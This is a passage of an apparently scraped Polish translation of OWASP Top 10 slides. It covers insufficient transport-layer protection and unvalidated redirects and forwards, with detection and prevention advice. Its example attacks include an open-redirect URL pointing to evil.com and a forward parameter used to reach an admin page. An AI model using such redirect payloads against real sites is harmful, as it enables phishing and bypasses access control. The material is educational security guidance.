‘secure’ dla wszystkich ciasteczek z wrażliwymi danymi. Uniemożliwi to podgląd wartości ciasteczek.<br />Odpowiednio skonfigurowany certyfikat dla serwera. Oznacza to ze musi on być wydany przez autoryzowane centrum, mieć ważna datę, być nieodrzuconym I być zgodnym z używanymi domenami.<br />Jak temu zapobiec?<br />Odpowiednie zabezpieczenie warstwy transportu może mieć wpływ na budowę strony. Najprostszym sposobem jest nałożenie certyfikatu na cala stronę. Ze względów wydajnościowych niektóre strony używają certyfikatów tylko na stronach z autoryzacja, inne tylko na ‘krytycznych’ stronach co nie zmienia faktu ze pozostałe dane mogą zostać ujawnione. Zaleca się zastosowanie chociaż do minimum: :<br />Wymagaj SSL na wrażliwych stronach. Zapytania nie-SSL powinny być przekierowane na kanał SSL.<br />Ciasteczka z wrażliwymi danymi powinny mieć ustawiona flagę ‘secure’.<br />Bierz pod uwagę tylko tych providerow SSL którzy stosują silne algorytmy (np. zgodny z FIPS 140-2 ) .<br />Upewnij się ze certyfikat jest ważny, nie wygasł, nie został odrzucony I zgadza się z nazwami domen.<br />Backend również powinien korzystać z SSL lub innych rodzaj szyfrowania.<br />Odwołania<br />OWASP<br />Dodatkowe informacje: ASVS requirements on Communications Security (V10).<br /><ul><li>OWASP Transport Layer Protection Cheat Sheet
  56. 56. OWASP Top 10-2007 on Insecure Communications
  57. 57. OWASP Development Guide: Chapter on Cryptography
  58. 58. OWASP Testing Guide: Chapter on SSL/TLS Testing</li></ul>Zewnętrzne<br /><ul><li>CWE Entry 319 on Cleartext Transmission of Sensitive Information
  59. 59. SSL Labs Server Test
  60. 60. Definition of FIPS 140-2 Cryptographic Standard</li></ul>Przykładowe ataki<br />Atak #1: Strona nie używa SSL na stronach z wymagana autentykacja. Atakujący monitoruje ruch sieciowy (w sieci WiFi lub sieci lokalnej) I zbiera dane autentykacyjne typu ID sesji, zawartość ciasteczek. Zebrane w ten sposób dane mogą być użyte w celu ich odtworzenia I zalogowania się na konta ofiar.<br />Atak #2: Strona posiada niepoprawnie skonfigurowany certyfikat. Użytkownicy aby korzystać ze strony musza akceptować ostrzeżenia. W wyniku ataku phishingowego użytkownicy nie odróżniają certyfikatów prawdziwych od fałszywych, co w efekcie może doprowadzić do ujawnienia prywatnych danych<br />Atak#3: Strona używa polaczeń ODBC/JDBC bez szyfrowania, w rezultacie cały ruch jest nieszyfrowany I podatny na atak.<br />
  61. 61. Brak walidacji przekierowań<br />A10<br /> Słabosci Bezpieczeństwa <br />Wpływ<br />Techniczny<br />Wpływ<br />Biznesowy<br /> Wektory<br /> Ataku<br /> Słabosci Bezpieczeństwa <br />Czynniki<br />Zagrożenia<br />Czy jestem podatny?<br />Najlepszym sposobem na sprawdzenie czy aplikacja jest podatna brak walidacji przekierowań jest:<br />Analiza kodu dla wszystkich użytkowników używających przekierowań (‘transfer’ w .NET). Dla każdego przypadku sprawdź czy docelowy URL jest używany jako wartość któregokolwiek z parametrów. Jeżeli tak, zweryfikuj parametry tak aby zawierały tylko dozwolone lokalizacje lub cześć z tych lokalizacji.<br />Sprawdź stronę crwawlerem czy w odpowiedzi na któryś z linków otrzymać odpowiedz HTTP z kodami w zakresie 300 – 307(najczęściej jest to 302) . Sprawdź parametry przed zapytaniem czy któryś z nich odpowiada wynikowi przekierowania. Jeżeli tak, zmień go I sprawdź czy zmienia się również strona docelowa.<br />Jeżeli kod aplikacji jest niedostępny, sprawdź wszystkie parametry czy wyglądają na przekierowanie I przetestuj je.<br />Jak temu zapobiec?<br />Jest wiele sposobów na zabezpieczenie odwołań I przekierowań”<br />Nie używaj przekierowań<br />Jeżeli używasz, nie pobieraj danych od użytkownika<br />Jeżeli trzeba pobierać dane od użytkownika, upewnij się ze są one poprawne oraz udostępnione dla użytkownika.<br /> Zaleca się aby docelowa lokalizacja była zmapowana dla danej wartości zamiast pełnego lub częściowego adresu URL. <br />Można użyć ESAPI w celu nadpisania metody sendRedirect() tym samym czyniąc ja zabezpieczona na przekierowania..<br />Bardzo ważne jest aby unikać tego rodzaju błędów ponieważ jest to główny cel ataku Phisherow.<br />Przykładowe ataki <br />Atak #1: Aplikacja posiada stronę pod nazwa: “redirect.jsp” Strona pobiera argument ‘url’. Atakujący tworzy szkodliwe zapytanie które przekieruje ofiarę na stronę która zainstaluje malware lub wyłudzi dane:<br />http://www.example.com/redirect.jsp?url=evil.com<br />Atak #2: Aplikacja używa przekierowań w celu przeniesienia użytkownika na różne części serwisu. Aplikacja mogą decydować w które miejsce należy przekierować użytkownika po poprawnej autoryzacji. W tym przypadku atakujący omija kontrole dostępu wykorzystując przekierowanie do panelu administratora:<br />http://www.example.com/boring.jsp?fwd=admin.jsp<br />Odwołania<br />OWASP<br /><ul><li>OWASP Article on Open Redirects
  62. 62. ESAPI SecurityWrapperResponse sendRedirect() method</li></ul>Zewnętrzne<br /><ul><li>CWE Entry 601 on Open Redirects
  63. 63. WASC Article on URL Redirector Abuse
  64. 64. Google blog article on the dangers of open redirects</li></li></ul><li>Informacje dla deweloperów<br />+D<br />
  65. 65. Co dalej dla weryfikatorów<br />+V<br />
  66. 66. Co dalej dla organizacji<br />+O<br />
  67. 67. Ryzyko<br />+R<br /> Security Weakness<br /> Technical Impacts<br />BusinessImpacts<br /> Attack<br /> Vectors<br />Czynnik zagrożenia<br />2<br />
  68. 68. Szczegóły czynników ryzyka<br />+F<br /> Słabości Bezpieczeństwa<br />Wpływy<br />Techniczne<br />Wpływy<br />Biznesowe<br />Wektory<br />Ataku<br />Czynniki<br />Zagrożenia<br />Wystepowanie<br />Wykrywalność<br />Wykorzystanie<br />Wpływ<br />

×